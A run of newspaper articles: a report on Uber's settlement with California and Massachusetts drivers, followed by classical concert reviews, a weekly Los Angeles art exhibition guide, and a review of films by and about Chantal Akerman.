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The settlement brings to a close what employment experts believe was the biggest existential threat to the fast-growing start-up. Uber built its high valuation on a system that uses independent contractors, enabling the company to avoid covering driver expenses such as gas and mileage, or providing benefits such as health insurance, Social Security, overtime or sick days. Recognizing its drivers as employees would have bitten into its margins -- and potentially slowed its global expansion and raised fares.

Plaintiff attorney Shannon Liss-Riordan brought the lawsuit against Uber and 11 other on-demand companies that use similar models (those companies are not included in the settlement). The case against Uber in California was filed in 2013; drivers in the Massachusetts case filed their suit in 2014.

In addition to the monetary settlement, Uber will institute several changes in the way it disciplines drivers.

The company will no longer be able to deactivate drivers accounts at will. Drivers will now receive warnings and have an opportunity to correct any issues before they are cut from the service. The company will also stop deactivating drivers who turn down rides frequently.

Uber will create appeal panels and help drivers form an association so they can contest terminations.

If drivers are unhappy with the result of their appeals, they can bring their claim to an arbitrator at Ubers expense.

The company will also institute an internal escalation process to handle disputes regarding driver pay.

Finally, Uber will make it clear to riders that tips are not included in Ubers fares. Drivers will be permitted to solicit tips from passengers -- a policy that competitor Lyft has long offered. Unlike Lyft, Uber will not be adding a tipping feature to its app.

The settlement still needs to be approved by Judge Edward Chen of the District Court of Northern California. An Uber spokeswoman said it will probably be a months-long process.

If approved, the payment will be distributed among drivers in California and Massachusetts who performed at least one trip up until the date of the preliminary settlement approval. Distribution will be based on miles driven while a passenger was in the car. Drivers who logged more than 25,000 miles may receive $8,000 or more, according to Liss-Riordan.

If we chose not to settle this case, we faced risks, Liss-Riordan said in a prepared statement. We faced the risk that a jury in San Francisco (where Uber is everywhere and quite popular) may not side with the drivers over Uber.

Liss-Riordan acknowledged that some drivers will be disappointed the case did not go to trial. But she noted that the case is only being settled, not decided. This means no court has ruled whether Uber drivers are employees or independent contractors, and future litigation over the same issue remains possible.

The debate will not end here, she said.

In a prepared statement on Ubers website, Chief Executive Travis Kalanick said the majority of Uber drivers prefer to remain independent contractors, which is why we are so pleased that this settlement recognizes that drivers should remain as independent contractors, not employees, he said.

Just because Uber has agreed to settle does not mean this particular case is over. Lyft tried to settle a similar class-action lawsuit with drivers this year, but the judge in the case rejected the settlement offer, arguing that the monetary payment was too low. Both sides have gone back to the drawing board.

When taken to trial, employment lawsuits of this kind tend to be all or nothing. By settling, the drivers attorney is ensuring her clients will at least receive some compensation.

For Uber, a settlement means the company avoids the risk of losing the lawsuit and being forced to recognize its thousands of drivers as employees -- and putting itself on the hook to pay back wages and benefits.

As weve grown weve gotten a lot right  but certainly not everything, Kalanick said. But theres more to do, which is why Im excited about some other improvements we have planned for the not-too-distant future.

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Twitter: @traceylien

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John Adams presence in Walt Disney Concert Hall during the past couple of weeks continued Thursday, when there was some sense of a circle closing. Adams advocate for the night was none other than Edo de Waart, the conductor who put Adams on the musical map.

De Waart leads the Milwaukee and New Zealand symphonies, but when he was the music director of the San Francisco Symphony, he made Adams  then a little-known, wild-eyed young music teacher at the San Francisco Conservatory of Music  his new music advisor and later, the orchestras composer-in-residence. De Waart made one recording after another of Adams early breakthrough pieces such as Shaker Loops, Harmonium, Harmonielehre, and Nixon in China that spread the composers name around the world.

The Chairman Dances, another Adams piece that de Waart recorded first, has since achieved standard repertoire status. Hearing the Los Angeles Philharmonic play it Thursday in the wake of its performances of Scheherazade.2 last week was a jolting reminder of how far Adams has traveled in the past 30 years. (The Thursday program will repeat Saturday and Sunday.)

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Heard against the complexity of texture, exotic orchestrations and portentous intent in a lot of Adams recent output, The Chairman Dances seems almost nostalgic with its minimalist engines chugging away and the irreverent intrusion of easy-listening, Gordon Jenkins-style string harmonies near the center. De Waart still knows how to make it move and groove, right down to the tapered-off percussion workout at the end, and he now brings out more crystalline detail and curvaceous phrasing in the winds. It was a journey back to a time when todays maximalist was still working his way out of minimalism.

Later on, Behzod Abduraimov, the young Uzbek pianist who has made a big splash in L.A. by substituting twice on short notice in virtuoso Russian concertos, returned to Disney Concert Hall with something entirely different, the Saint-Saens Second Piano Concerto.

Rocking back and forth on the piano bench to the rhythms of his playing, Abduraimov attacked the opening cadenza with the vehemence that he might have unleashed upon Russian works. Mostly, though, this performance was notable for less-flashy things  his wonderfully floating thirds in the long, mostly slow opening movement, his light touch and witty subtleties in the tuneful scherzo and the precise little trills in the finale. Balances between the pianist and orchestra were on the dot.

Using pretty much the same smallish orchestra as in the first half of the program but with a fifth French horn added, de Waart closed the evening with a mostly routine performance of Mendelssohns Scottish Symphony of medium-thick textures and middle-road tempos. It was only modestly rousing toward the end. No runs, no hits, no errors.

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Los Angeles Philharmonic with Edo de Waart and Behzod Abduraimov, Walt Disney Concert Hall, 111 S. Grand Ave., L.A. 8 p.m. Saturday and 2 p.m. Sunday. $26.50-$195.50. (323) 850-2000 or www.laphil.com

Follow The Times arts team @culturemonster.
A famous photographic work by Ed Ruscha gets a painterly do-over. Domestic settings that feel like theyre coming alive. And a look at mass-produced architectural developments. Plus, writers celebrate Octavia Butler and Long Beach gets zine-y. Here are seven events and exhibitions to check out this week:

Amy Park, Ed Ruschas Every Building on the Sunset Strip at Kopeikin Gallery. Park takes Ruschas iconic 1966 photo book, which documented every building on West Hollywoods Sunset Strip, and re-creates it as a series of watercolor paintings  a 97-foot immersive environment that wraps the gallery and therefore the viewer. Its a new way of seeing a familiar Los Angeles work. Opens Saturday at 6 p.m. and runs through June 4. 2766 S. La Cienega Blvd., Culver City, kopeikingallery.com.

Gerald Davis, House With Buried Figure, at Ltd. Los Angeles. The Los Angeles painter has his first solo exhibition at the gallery with a series of eight, large-scale expressionistic canvases that depict quivering house-like structures obscuring a human figure within. Opens Saturday at 7 p.m. and runs through May 27. 7561 Sunset Blvd., No. 103, Hollywood, ltdlosangeles.com.

Morgan Fisher and Karina Nimmerfall, Past Future Housing, at the MAK Center. This exhibition brings together two artists  one German, one from Los Angeles  who look at the question of mass-produced housing in the United States. This includes the creation of a fictional prototype for a new utopian city inspired by historic development plans for Los Angeles. Mackey Garage Top, 1137 S. Cochran Ave., Mid-Wilshire, Los Angeles, makcenter.org.

Radio Imagination: Writers Premiere New Works, at Clockshop. As part of a year-long project to honor sci-fi author Octavia Butler, a group of writers  Tisa Bryant, Lynell George, Robin Coste Lewis and Fred Moten  have all spent time marinating in the authors archives, which are held at the Huntington Library. And they have each created works of poetry and nonfiction inspired by Butlers papers, which they will present. This Saturday at 7:30 p.m.; doors open at 6:30 p.m.  $10 suggested donation. 2806 Clearwater St., Elysian Valley, Los Angeles, clockshop.org.

Long Beach Zine Fest, at the Museum of Latin American Art. This one-day festival brings together more than 100 writers, artists and photographers who make their own zines  including comics, chapbooks and graphic novels. A good opportunity to revel in a feast of D.I.Y. publishing. This Sunday from 11 a.m. to 5 p.m. MOLAA, 628 Alamitos Ave., Long Beach, lbzinefest.com.

Array @ the Broad: Nothing But a Man Film Screening. Director Ava DuVernays film fest, focused on featuring work by underrepresented directors, continues with a screening of Michael Roemers 1964 drama Nothing But a Man, about a man contending with the legacy of racism and complicated family ties in small-town Alabama. This Saturday at 7:30 p.m. at REDCAT. 631 W. 2nd St., downtown Los Angeles, thebroad.org.

Margie Livingston: Holding It Together, at Luis De Jesus Los Angeles. Livingston doesnt make paintings; she makes paint objects  canvases wrapped in acrylic paint skin that she straps to her body, then drags through the citys streets. Part penance, part performance, these actions leave behind a work that is as much a wall hanging as it is evidence of something darkly destructive. Opens Saturday at 6 p.m. and runs through May 28. 2685 S. La Cienega Blvd., Culver City, luisdejesus.com.

FINAL WEEK

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Hard Edged: Geometrical Abstraction and Beyond, at the California African American Museum. A new exhibition features the work of 46 artists  from emerging figures to well-established names  working in the arena of geometric abstraction. This includes works by fresh voices and standard-bearers, including well-known figures such as Rashid Johnson, Senga Nengudi, David Hammons and Tim Washington. This is a facet of African American art that is often overlooked. Do not miss. Through Sunday. 600 State Drive, Exposition Park, caamuseum.org.

ONGOING EXHIBITIONS

Zoe Buckman: Every Curve, at Papillion. The British artist takes vintage lingerie and embroiders it with phrases from classic hip-hop tracks by the likes of Biggie Smalls and Tupac Shakur. The beguiling installation  objects dangling daintily from the ceiling  tells a deeper story about the contradictory ways in which women are regarded in the popular culture. Through April 30. 4336 Degnan Blvd., Leimert Park, Los Angeles, papillionart.com.

Hope Gangloff, Benjamin Degen and Yuri Masnyj at Richard Heller Gallery. Hellers gallery is featuring a series of solo exhibitions by a trio of New York-based painters. These include Gangloffs moody portraits, Degens glitteringly surreal landscapes and the diagrammatic paintings by Masnyj, which function as strange inventories of objects and things. Through April 30. Bergamot Station, 2525 Michigan Ave., Suite B5, Santa Monica, richardhellergallery.com.

Julian Schnabel, Infinity on Trial, at Blum & Poe. The bad boy of 80s neo-expressionism is back in Los Angeles with a solo show for the first time in almost a decade. The exhibition gathers works from the mid-1970s to the present, including some of the ceramic shard collages for which he is best known. Also included will be more recent works, such as his Goat Paintings, from last year. Through April 30. 2727 S. La Cienega Blvd., Culver City, blumandpoe.com.

Roy Dowell, Mosaics, at Tif Sigfrids. The Los Angeles-based artist is presenting a series of five mosaics inspired by his own collage work, which are inspired in part by his frequent travels to Mexico. Expect abstract compositions that fuse elements of objects and landscape. Through April 30. 1507 Wilcox Ave., Hollywood, tifsigfrids.com.

Alice Konitz, Los Angeles Museum of Art (LAMOA), at Occidental College. This is a work of sculpture that also serves as a micro exhibition hall. The space was established in Konitzs backyard in 2012 but will be on view at Occidental for the course of the academic year. The inaugural exhibition features work by L.A. artist Alice Clements. Through spring 2016. In front of Weingart Hall at Occidental College, 1600 Campus Road, Eagle Rock, oxy.edu.

High Priestesses, at 323 Projects. The popular phone line gallery (all shows are audio, accessible on your telephone) has a new show going up that is all about aural healing and New Age-y teachings as imagined by a crew of Los Angeles artists: Michelle Andrade, Michelle Chong, Meg Cranston and Bridge Kane. Its the ideal sort of thing for working that artsy third eye. Through May 1 by calling (323) 843-4652, 323projects.com.

Donald Baechler, Lily Stockman, Mike Davis, at Gavlak Gallery. Gavlak is opening a trio of solo shows that feature Baechlers early paintings and collages, Stockmans biomorphic abstractions and a series of funny-wry watercolors by Davis that explore the topics that occupy his thoughts  namely, Picasso, artists and Kermit the Frog. Through May 7. 1034 N. Highland Ave., Hollywood, gavlakgallery.com.

Lawrence Weiner, Made to Be, at Regen Projects. Weiner is a leading conceptual artist whose work plays with language and the ideas and images that it conjures. In his ninth solo show at Regen, he once again works with the power of words to tease the viewer in wry and canny ways. Through May 7. 6750 Santa Monica Blvd., Hollywood, regenprojects.com.

Catherine Opie: 700 Nimes Road at MOCA Pacific Design Center. For six months in 2011, Los Angeles photographer Catherine Opie documented the Bel-Air estate of Elizabeth Taylor  the clothes, the photographs, the jewelry, the little bits of personal ephemera that make a house a home. Now she is showing the series, one that chronicles a life of wealth and fame, at the Museum of Contemporary Arts West Hollywood space. Through May 8. Pacific Design Center, 8687 Melrose Ave., West Hollywood, moca.org.

Wayne Koestenbaum, A Novel of Thank You and Other Paintings, at 356 Mission. Koestenbaum, a poet and cultural critic, is also a painter  known for vivid canvases that play with desire and bold patterns to electric effect. Runs through May 8, 356 S. Mission Rd., Boyle Heights, Los Angeles, 356mission.com.

House Housing: An Untimely History of Architecture and Real Estate in Thirty-one Episodes, at the MAK Center. A ongoing research project by the Temple Hoyne Buell Center for the Study of American Architecture at Columbia University, this exhibition looks at the intersection of real estate development and architecture  from pre-fab apartment blocks to suburban gated communities. A timely show for Los Angeles as it furiously debates the future of development in the city. Through May 8. Schindler House, 835 N. Kings Road, West Hollywood, makcenter.org.

John Divola: Dents and Abrasions at Gallery Luisotti. This exhibition features a series of new works by Divola, who is known for capturing abandoned buildings and their environments in decidedly cool and un-romantic ways. (No ruin porn here.) The pieces continue Divolas tradition of marking the buildings in some way  with spray paint or found paintings  and then capturing the entire scene in a photograph. Through May 14. An artists reception will be held at 6 p.m. Saturday, Bergamot Station, 2525 Michigan Ave., Building A2, Santa Monica, galleryluisotti.com.

Ed Ruscha, Editions, at Leslie Sacks Gallery. The show is a gathering of recent and vintage print editions  from 1982 to 2015  by the L.A. pop artist, including his inscrutable word-and-image pieces, which he has produced throughout his career, as well as his ghostly prints of ships from the 1980s. Through May 14. 2525 Michigan Ave., Santa Monica, lesliesacks.com.

Noir: The Romance of Black in 19th Century French Drawings and Prints, at the Getty Museum. Figures in deep penumbra and sprightly creatures in dim settings. In the middle of Europes industrial revolution, some artists became intrigued by the non-color of the color black, creating prints and charcoal drawings that evoked the nocturnal, the dark and the deep recesses of the cosmos  not to mention the not-quite-real state of dreaming. Through May 15. 1200 Getty Center Drive, Brentwood, Los Angeles, getty.edu.

Leap Before You Look: Black Mountain College, 1933-1957, at the Hammer Museum. Black Mountain College in North Carolina wasnt open very long, not even 20 years. But in its short lifetime it brought together bands of seminal artists, musicians, dancers and thinkers  John Cage, Merce Cunningham, Cy Twomby, Ruth Asawa, Robert Rauschenberg and countless others  as both teachers and students. Key to that dynamism was the presence of Josef and Anni Albers, a pair of Bauhaus artists who fled Germany to join Black Mountain in the late 1930s. This critically acclaimed exhibition, which first opened at the Institute of Contemporary Art in Boston, shows the far-reaching effects a single institution can have. Through May 15. 10899 Wilshire Blvd., Westwood, hammer.ucla.edu.

Jasmin Sanchez, Flux, at the Grand Central Art Center. The Orange County-based Sanchez is taking over the walls of the art center with drawings that meld landscape with abstraction and mapping to produce images that feel just a little bit magical. Through May 15. 125 N. Broadway, Santa Ana, grandcentralartcenter.com.

Daniel Joseph Martinez, If You Drink Hemlock, I Shall Drink It With You at Roberts & Tilton. A hallucinatory environmental installation by the L.A.-based artist takes on Jacques-Louis Davids seminal French revolutionary painting The Death of Marat as a point of inspiration. Martinezs mise en scene features the artist as the key figures in this famous murder, including Marat, and his killer Charlotte Cordray, among others. Through May 21. 5801 Washington Blvd., Culver City, robertsandtilton.com.

Linda Arreola: Architect of the Abstract, at the Vincent Price Art Museum. This one-woman exhibition looks at roughly a 10-year period in the work of this abstract Los Angeles artist. Arreola is known for creating taut, grid-like arrangements using bright blocks of color. Her work extends into the sculptural realm too. Through May 21. 1301 Cesar Chavez Ave., Monterey Park, vincentpriceartmuseum.org.

LA Rebels: Photographs by Janette Beckman, at Project Gallery. Beckman, who is known for photographing some of hip-hops most iconic figures (including Ice Cube and Dr. Dre), is showing two sets of works at this show. The first features her collaborations with artists, who often drew and painted over her photographs; the second is a series from the 80s that documents the El Hoyo Maravilla gang from East L.A. Through May 21. 961 Chung King Road, Chinatown, Los Angeles, projectgallery.com.

Deveron Richard, at Good Luck Gallery. Unicorns get groovy on light-up disco floors, polar bears rock lipstick and buxom birds wear rainbow dresses in the humorously electrified scenes imagined by this South Bay artist. Through May 21. 945 Chung King Road, Chinatown, Los Angeles, thegoodluckgallery.com.

Portraits and Autobiographies by Kim Abeles, at Post. The Los Angeles artist known for using smog  some of her works literally trap particulates onto their surfaces  takes a more inward view in this, her latest solo exhibition. The show includes self-portraits, photo-based works, research projects and sculptural works that often employ the body. Through May 21. 1206 Maple Ave., Los Angeles, postlosangeles.org.

PLAN, at the El Segundo Museum of Art. An exhibition organized by the Wende Museum and the El Segundo Museum of Art brings together works by disparate figures  from Camille Pissarro to Egon Schiele to Vitaly Komar and Alexander Melamid  exploring the idea of plans and planning. This includes references to five-year plans, a map for the projected Soviet invasion of West Berlin and other works that play with the idea of fate versus meticulous intention. Through May 22. 208 Main St., El Segundo, esmoa.org.

Abel Alejandre, Public Secrets, at Coagula Curatorial. The Wilmington-based artist, known for his hyper-detailed graphite drawings, is unveiling a new series of paintings at the gallery that contend with secrets  from the family sort to UFOs. All of this comes in advance of the opening of his public commission for the Westwood/Rancho Park Metro Station in May. Through May 22. 974 Chung King Roa., Chinatown, Los Angeles, coagulacuratorial.com.

Ramiro Gomez, On Melrose, at Charlie James Gallery. In his third solo exhibition at the gallery, the Los Angeles artist, known for creating works that insert the often invisible laborers who makes luxury possible, is turning his sights to Melrose Avenue  creating a series of paintings that take on iconic sites such as the Paramount Studios and Fred Segal. Through May 28. 969 Chung King Rd., Chinatown, Los Angeles, cjamesgallery.com.

Lily Simonson, Midnight Sun, at CB1 Gallery. The painter known for her electric renditions of icy snowscapes is having her third exhibition at the gallery, showcasing work that was inspired by a recent trip to Antarctica with the National Science Foundation. Expect otherworldly vistas from both above and below the ice. Through May 29. 1923 S. Santa Fe Ave., downtown Los Angeles, cb1gallery.com.

Catherine Fairbanks, Two Chimneys, at Wilding Cran Gallery. A pair of chimney sculptures crafted out of geologic layers of papier-mache evoke the ruined domestic buildings throughout the West. But while they may call attention with their scale and their dexterous construction, dont miss the pair of abstractions, on a rear wall, exquisitely woven together from different shades of horse hair. Through May 28. 939 S. Santa Fe Ave., downtown Los Angeles, wildingcran.com.

Delicious Taste, Re-Corded History, at C. Nichols Project. The duo of Grant Levy-Doolittle and Bruce Yonemoto, known as Delicious Taste, has created an installation that takes on the ephemera of our digital lives and marries it to pre-Columbian tradition. Phones, monitors and surveillance cameras are connected by a vast array of knotty wires that evoke ancient Andean quipus, the knotted strings that served as record-keeping devices. Through May 28. 12613 Venice Blvd., Mar Vista, cnicholsproject.com.

A Shape That Stands Up, at Art + Practice. A group show that treads the line between abstraction and figuration features works by Amy Sillman, Henry Taylor, Sadie Benning and a host of other interesting names. Through June 18. 4339 Leimert Blvd., Leimert Park, Los Angeles, artandpractice.org.

Making Waves: Japanese American Photography, 1920-1940, at the Japanese American National Museum. In the early 20th century, groups of Japanese American photographers all along the Pacific coastline launched photography clubs, through which they published and exhibited their work. Their striking imagery  ranging from abstract compositions to scenes of everyday life  drew the attention of artists such as Edward Weston and Laszlo Moholy-Nagy. Unfortunately, much of their work was destroyed or lost when Japanese Americans were sent to internment camps by the U.S. government during World War II. But examples remain and JANM has gathered more than 100 of these prints for a show that explores the history and legacy of the clubs. Through June 26. 100 N. Central Ave., Los Angeles, janm.org.

Popol Vuh: Watercolors of Diego Rivera, at the Bowers Museum. The Popol Vuh is a nearly 500-year-old Mayan text, written in Quiche, that recounts that cultures creation myths. This sacred text inspired a series of watercolors by Mexican muralist Diego Rivera, an artist who was preoccupied with indigenous themes. Now 17 of these paintings, on loan from a museum in Mexico, are on view at the Bowers. Through May 29. 2002 N. Main St., Santa Ana, bowers.org.

Marilyn Minter: Pretty/Dirty, at the Orange County Museum of Art. The New York-based painter and photographer has long played with the tropes of feminine beauty in works that seamlessly stir the alluring with the mildly grotesque. Through July 10. 850 San Clemente Drive, Newport Beach, ocma.net.

Alex Israel, at the Huntington. In 2012, the San Marino library and museum unveiled the first of its contemporary interventions with low-key works by Ricky Swallow and Lesley Vance. Now the museum is getting bolder, with a series of installations by painter Alex Israel, whose pop-inspired canvases and objects touch on topics such as celebrity, glamour and power. Through July 11. 1151 Oxford Road, San Marino, huntington.org.

Jose Montoya, Abundant Harvest: Works on Paper / Works on Life, at the Fowler Museum. Throughout his life, activist, poet and painter Jose Montoya drew  on whatever was at hand: napkins, hotel stationery and notebooks. And in those drawings he recorded the quotidian aspects of Mexican American life in the United States: dogs and children, women and sailors, pachucos and pachucas, the architecture of low-lying Central Valley neighborhoods, industrial warehouses and agricultural settings, as well as the glamorous profile of lowrider cars. It is the first comprehensive look at this vital Chicano artists drawing practice. Through July 17. UCLA, 308 Charles E. Young Drive North, Westwood, fowler.ucla.edu.

Robert Mapplethorpe, The Perfect Medium, at the L.A. County Museum of Art and the Getty Museum. A two-part exhibition spread over a pair of L.A. museums explores the photographic legacy of an artist who brought as much grace to images of flowers as he did to S&M. The LACMA portion features early drawings, collages, sculptures, Polaroids, still lifes and archival material. The Getty will present his more formal portraits, along with the infamous X Portfolio, with its elegant S&M imagery. The LACMA runs through July 31. 5905 Wilshire Blvd., Miracle Mile, Los Angeles, lacma.org. The Getty exhibit also runs through July 31. 1200 Getty Center Drive, Brentwood, Los Angeles, getty.edu.

Sam Maloof Woodworker: Life/Art/Legacy, at the Maloof Foundation. The foundation is celebrating the centennial of the birth of the renowned Southern California woodworker, whose elegant objects and furnishings are in the collections of the Metropolitan Museum of Art, the L.A. County Museum of Art and the Smithsonian. The exhibition will feature more than 60 objects from throughout the artists life, including furnishings, drawings, photographs and other ephemera. The show is part of a years worth of events that will celebrate Maloofs life and work. Through Aug. 27. 5131 Carnelian St., Alta Loma, malooffoundation.org.

In Focus: Electric! at the Getty Museum. Electricity: It powers your home, it powers your work and it powers the phone on which you are likely reading this post. This photographic exhibition at the Getty gathers historic images that showcase the allure of light and power. Through Aug. 28. 1200 Getty Center Drive, Brentwood, Los Angeles, getty.edu.

Duchamp to Pop, at the Norton Simon Museum. Drawing mostly from the Norton Simons permanent collection, this exhibition looks at the influence Duchamp likely had on generations of artists, from assemblagists to pop painters  figures who have appropriated elements of the everyday world and transformed them into art. Through Aug. 29. 411 W. Colorado Blvd., Pasadena, nortonsimon.org.

Revolution in the Making: Abstract Sculpture by Women, 1947-2016, at Hauser Wirth & Schimmel. The debut exhibition at the citys newest gallery tackles more than half a century of sculpture by women, featuring key works by important international figures (Louise Bourgeois, Lee Bontecou) and key California artists (Ruth Asawa, Clare Falkenstein). Pieces range from the ethereal (Lygia Papes golden threads) to downright hilarious (Lara Schnitgers lacy/cat/fur assemblage sculptures). Altogether, the show offers an alternative to the narrative of the macho man postwar painting scene that has so dominated the story of 20th century art. Through Sept. 4. 901 E. Third St., Los Angeles, hauserwirthschimmel.com.

Claire Falkenstein: Beyond Sculpture, at the Pasadena Museum of California Art. The 20th century California artist, whose name has is circulating once again after being included in the debut exhibition at Hauser Wirth & Schimmel, is now the subject of her own retrospective, tracking her entire career, from the 1930s to the 90s. (She passed away in 1997.) The artist, who worked in San Francisco and Los Angeles  as well as Paris  produced prints and murals, among other works, but she is best known for her sculpture: in particular, her often gritty assemblages made out of wire studded with chunks of glass. Through Sept. 11. 490 E. Union St., Pasadena, pmcaonline.org.

Hito Steyerl: Factory of the Sun, at the Museum of Contemporary Art. A video installation by the German artist takes the viewer into a dystopia where the movements of workers are harvested to create artificial sunshine. The piece, which debuted at the Venice Biennale in 2015, is a mash-up of contemporary communication, told as video game, news report documentary film and Internet video. Through Sept. 12. MOCA Grand Ave., 250 S. Grand Ave., Los Angeles, moca.org.

MOLAA at Twenty: 1996-2016, at the Museum of Latin American Art. The Museum of Latin American Art in Long Beach is celebrating two decades in existence with a show that draws from the museums permanent collection of more than 1,600 objects. These include works by renowned Modernists Joaquin Torres-Garcia and Wifredo Lam, Argentine conceptualist Leon Ferrari as well as contemporary figures such as Alexandre Arrechea and Patssi Valdez. Through Jan. 1. 628 Alamitos Ave., Long Beach, molaa.org.

Senses of Time: Video and Film-Based Works of Africa, at the Los Angeles County Museum of Art. For one of its long-term installations, the museum has gathered works of video or film by contemporary African artists that explore the body and the looping nature of time. This includes pieces by figures such as Yinka Shonibare, Sammy Baloji, Berni Searle, Moatax Nasr and Theo Eshetu. Through Jan. 2. 5905 Wilshire Blvd., Mid-Wilshire, lacma.org.

Non Fiction at the Underground Museum. An emotionally charged exhibition curated by the late Noah Davis, in collaboration with the Museum of Contemporary Art Los Angeles brings together works that explore issues of race and violence. This includes important works from MOCAs permanent collection by artists such as Robert Gober, Kara Walker, Henry Taylor and David Hammons. Through March 2017. 3508 W. Washington Blvd., Arlington Heights, Los Angeles, theunderground-museum.org.

Geographically Indeterminate Fantasies, hosted by Providence College Galleries. Dont worry if youre nowhere near Providence College in Rhode Island. A new digitally-minded exhibition by the art writing team at Art F City features more than two dozen works by artists who use animated GIFs to create work  from Brenna Murphys dizzying electronic architecture to Jacolby Satterwhites pulsing alternate universe. Its the sort of thing that will encourage you to spend quality time online (and away from awful Facebook). pcgalleries.providence.edu.

Islamic Art Now: Part 2 at the Los Angeles County Museum of Art. Contemporary works from LACMAs permanent collection by 20 artists who live in or have roots in the Middle East look at questions of society, gender and identity. Runs indefinitely. 5905 Wilshire Blvd., Mid-Wilshire, lacma.org.

Find me on Twitter @cmonstah
The Los Angeles Philharmonics special concert in memory of composer Steven Stucky was called Radical Light. An uncannily heavenly light did, indeed, radiate throughout Walt Disney Concert Hall on Wednesday night. But I hope that doesnt sound precious or somehow unreal, because the memorial could just as easily have been dubbed Leave It to Steve.

That is what the L.A. Phil did for more than 20 years with its composer-in-residence and new-music advisor. So the most characteristic way for the orchestra to honor Stucky, who died in February at 66 from a brain tumor, was with a reminder of the kind of Green Umbrella concerts he and Esa-Pekka Salonen put on  concerts that revolutionized the Los Angeles new-music scene and became models for revitalizing orchestra life.

Presented free and drawing a large crowd, the Stucky tribute was a quickly but skillfully organized special event not officially part of the Green Umbrella series. The latest proper Green Umbrella concert, a clumsy 21C Liederabend the night before, had been entrusted to a New York producer. So it almost seemed as if Salonen had dashed west between performances of the Strauss Elektra he is conducting to rave reviews at the Metropolitan Opera (the Live in HD broadcast will be in movie theaters April 30) to show how he and Stucky did it.

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In a video that began the evening, Salonen likened his first meeting with Stucky a quarter century ago to encountering a long-lost older brother, someone capable of not just musical camaraderie but also of guiding the young conductor through, say, the complexities of single malt Scotch whiskey. With Stucky, music and camaraderie were necessarily linked.

Radiant Light left it to Steve, providing ample example of Stucky as marvelous composer as well as encompassing Stuckys role of new-music community organizer and mentor. Along with the L.A. Phils New Music Group (pretty much every member of the orchestra seems to have counted Stucky as a personal friend), there was also a reflection of his broader involvement with the L.A. musical community.

The Lyris Quartet, a resident ensemble of the Jacaranda new-music series in Santa Monica, gave an exquisite performance of Stuckys Nellombra, nella Luce, a sensual play of shadow and light. It was inspired by the Italian landscape Stucky loved and had the quality of discovering an ugly truffle hidden in the dirt that, when you bite into it, releases a wondrous essence of life.

Pianist Gloria Cheng, who won a Grammy for a CD she made of solo pieces by Stucky and Polish composer Witold Lutoslawski (sometimes the Grammys get it right), played Stuckys Four Album Leaves, each an enchanting and also playful (an adjective that needs much use when discussing Stucky) character study. She also joined her Piano Spheres colleagues in the premieres of six solo piano miniatures written for the occasion by composers close to Stucky.

Two were by young composers who studied with Stucky at Cornell University. A devoted educator, he set up a mentoring program at the Philharmonic for high school composers, and the orchestras president, Deborah Borda, used the concert as an occasion to announce the creation of a composer fellowship fund in Stuckys name.

Perhaps the most touching tribute to Stucky is the way both young composers followed in Stuckys resonant, radiant and playful footsteps without sounding anything like him. Mandy Fangs That raindrops have hastened the falling flowers had Mark Robson playing a toy piano with his right hand and a grand with his left, the toys tinkle acting like rain on the grands flowery chords. The ringing character of Joseph Phibbs Elegy, featuring Vicki Ray, was flowery in a different but just as resonant way.

The miniatures (most around a minute or two) by well-known composers were each distinctive and personal. They included an eerie work by James Matheson played by Nic Gerpe, Anders Hillborgs tremulous Just a Minute played by Susan Svrcek, and Magnus Lindbergs romantic Fratello played by Steven Vanhauwaert. The largest, Salonens Iscrizione, written for Cheng, sounds like a study for a larger work in its fantastical development of a small melodic cell.

Salonens other contribution was conducting three important ensemble pieces, two by Stucky and one by Lutoslawski, with whom both the younger composers were close. Salonens performance of Boston Fancies, the piece with which the orchestra began its relationship with Stucky in 1987, revealed a thirtysomething composer already able to sneak in radiance amid his trademark formal and playful sophistication.

Stucky struggled to finish a short choral piece, The Music of Light, in his final weeks. A luminous performance by the Los Angeles Master Chorale revealed that Stucky reveled in light to the end. I initially mistyped the title as The Music of Life, and I hesitate to correct it.

The evening ended with yet another superb performance, this of one of Lutoslawski last pieces, Chantefleurs et Chantefables (Songflowers and Songfables).

Salonen recorded this a surreal song cycle for soprano and orchestra with Dawn Upshaw and the L.A. Phil in 1994, a CD the conductor and Stucky devised in tribute to the Polish composer who died that year.

The songs are deceptive miniatures, nursery rhymes with a dangerous edge. Hila Plitmann was the soloist Wednesday, singing from memory and giving life and personality to each. Salonen made every odd instrumental detail speak. Rather than song as pompous spectacle, it became here personal and communal.

Leave it to Steve: That is who he was and what he stood for and why we need him more than ever.

mark.swed@latimes.com
Near the beginning of I Dont Belong Anywhere, Marianne Lamberts astute and poetic portrait of filmmaker Chantal Akerman, its subject speaks of being afraid. Thats a startling confession from an artist as daring and original as Akerman. But months earlier, with the death of her mother, her nomadic life underwent a seismic shift from which, it seems, she never recovered.

Natalia Akerman had fled Poland for Belgium only to be sent to Auschwitz, and her story, in one form or another, was at the core of her daughters work. Now that her mother was gone, Akerman wonders aloud to Lambert, Will I still have something to say?

The nakedness of that moment is awful now that Akerman too is gone, having taken her life in October. At the time of the interview for Lamberts documentary, she was editing No Home Movie, the tender, haunting film that would turn out to be her last. Set mostly in Natalias Brussels apartment, its an intimate self-reflection that, like all of Akermans work, unfolds to an uncommon pulse. It asks of the viewer a kind of openness that might be called patience and richly rewards it.

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Using pieces of furniture as tripods, Akerman fixes her lens on various corners of the apartment, and she and her affably puttering octogenarian maman move in and out of the frame. If death is a presence in the film  in those still-lifes anticipating Natalias absence; in her unarticulated memories of Auschwitz  so is the spark of life, bittersweet and mysterious. Its in the profound affection between mother and daughter, unequivocal in the loving gazes they exchange across a kitchen table or via Skype.

Shes spent her whole life making cheerful noises, Akerman said of Natalia in a 2013 interview. To hide what was destroyed. In No Home Movie, Akerman gently edges those cheerful noises toward the dark center that Natalia has skirted for three-quarters of a century. They dont quite get there, but their small talk gradually shifts to discussions about family, religion and war.

With its focus on domestic interiors (and interior lives), the movie doesnt simply recall Akermans past efforts; it reveals their roots. The resonance is particularly significant in the case of Jeanne Dielman, 23 Commerce Quay, 1080 Brussels, the tour de force she made when she was only 24. That landmark feature closely observed the monotonous household chores of a widow who moonlighted as a prostitute, in the process moving the disregarded details of womens lives to the forefront. Its one of 14 Akerman films sensitively excerpted in I Dont Belong Anywhere.

Within the docs brief running time, Lambert sculpts a discerning overview of the artist and her filmography. Her film (which opens in Los Angeles the same day as No Home Movie) finds its own pulse and never feels rushed. Its a compelling introduction for Akerman novitiates while offering fresh insights to devotees.

